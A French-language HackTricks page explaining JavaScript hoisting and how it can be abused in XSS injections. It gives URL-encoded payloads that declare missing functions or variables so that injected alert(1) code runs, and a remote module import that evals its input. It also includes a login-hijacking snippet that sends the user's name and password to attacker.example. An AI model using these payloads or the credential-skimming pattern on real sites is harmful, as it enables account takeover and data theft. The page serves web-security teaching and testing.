JS Hoisting

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Basic Information

Dans le langage JavaScript, un mécanisme connu sous le nom de Hoisting décrit comment les déclarations de variables, fonctions, classes ou imports sont conceptuellement remontées en haut de leur portée avant l'exécution du code. Ce processus est effectué automatiquement par le moteur JavaScript, qui parcourt le script en plusieurs passes.

Lors du premier passage, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en arbre de syntaxe abstraite. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées en haut du contexte d'exécution. Si la phase d'analyse est réussie, c'est-à-dire sans erreur de syntaxe, l'exécution du script se poursuit.

Il est crucial de comprendre que :

  1. Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être respectées strictement.
  2. Le placement du code dans le script affecte l'exécution à cause du hoisting, même si le code exécuté peut différer de sa représentation textuelle.

Types of Hoisting

D'après MDN, il existe quatre types distincts de hoisting en JavaScript :

  1. Value Hoisting : Permet d'utiliser la valeur d'une variable dans sa portée avant sa ligne de déclaration.
  2. Declaration Hoisting : Autorise la référence à une variable dans sa portée avant sa déclaration sans provoquer de ReferenceError, mais la valeur de la variable sera undefined.
  3. Ce type modifie le comportement au sein de sa portée du fait que la déclaration de la variable est prise en compte avant sa ligne de déclaration effective.
  4. Les effets de bord de la déclaration se produisent avant que le reste du code qui la contient soit évalué.

En détail, les déclarations de fonction présentent le comportement de hoisting de type 1. Le mot-clé var illustre le comportement de type 2. Les déclarations lexicales, qui incluent let, const et class, montrent le comportement de type 3. Enfin, les instructions import sont particulières : elles sont hoistées avec les comportements de type 1 et type 4.

Scenarios

Donc si vous avez des scénarios où vous pouvez Inject JS code after an undeclared object est utilisé, vous pouvez fix the syntax en le déclarant (pour que votre code soit exécuté au lieu de lever une erreur) :

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Autres scénarios

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Prendre les devants sur des déclarations ultérieures en verrouillant un nom avec const

Si vous pouvez exécuter du code avant qu'une déclaration de haut niveau function foo(){...} ne soit analysée, déclarer une liaison lexicale portant le même nom (par ex., const foo = ...) empêchera la déclaration de fonction ultérieure de réassocier cet identifiant. Cela peut être abusé en RXSS pour détourner des gestionnaires critiques définis plus loin dans la page :

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Remarques

  • Cela repose sur l'ordre d'exécution et la portée globale (niveau supérieur).
  • Si votre payload est exécuté à l'intérieur de eval(), rappelez-vous que const/let à l'intérieur de eval sont à portée de bloc et ne créeront pas de liaisons globales. Injectez un nouvel élément <script> contenant le code pour établir un vrai const global.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks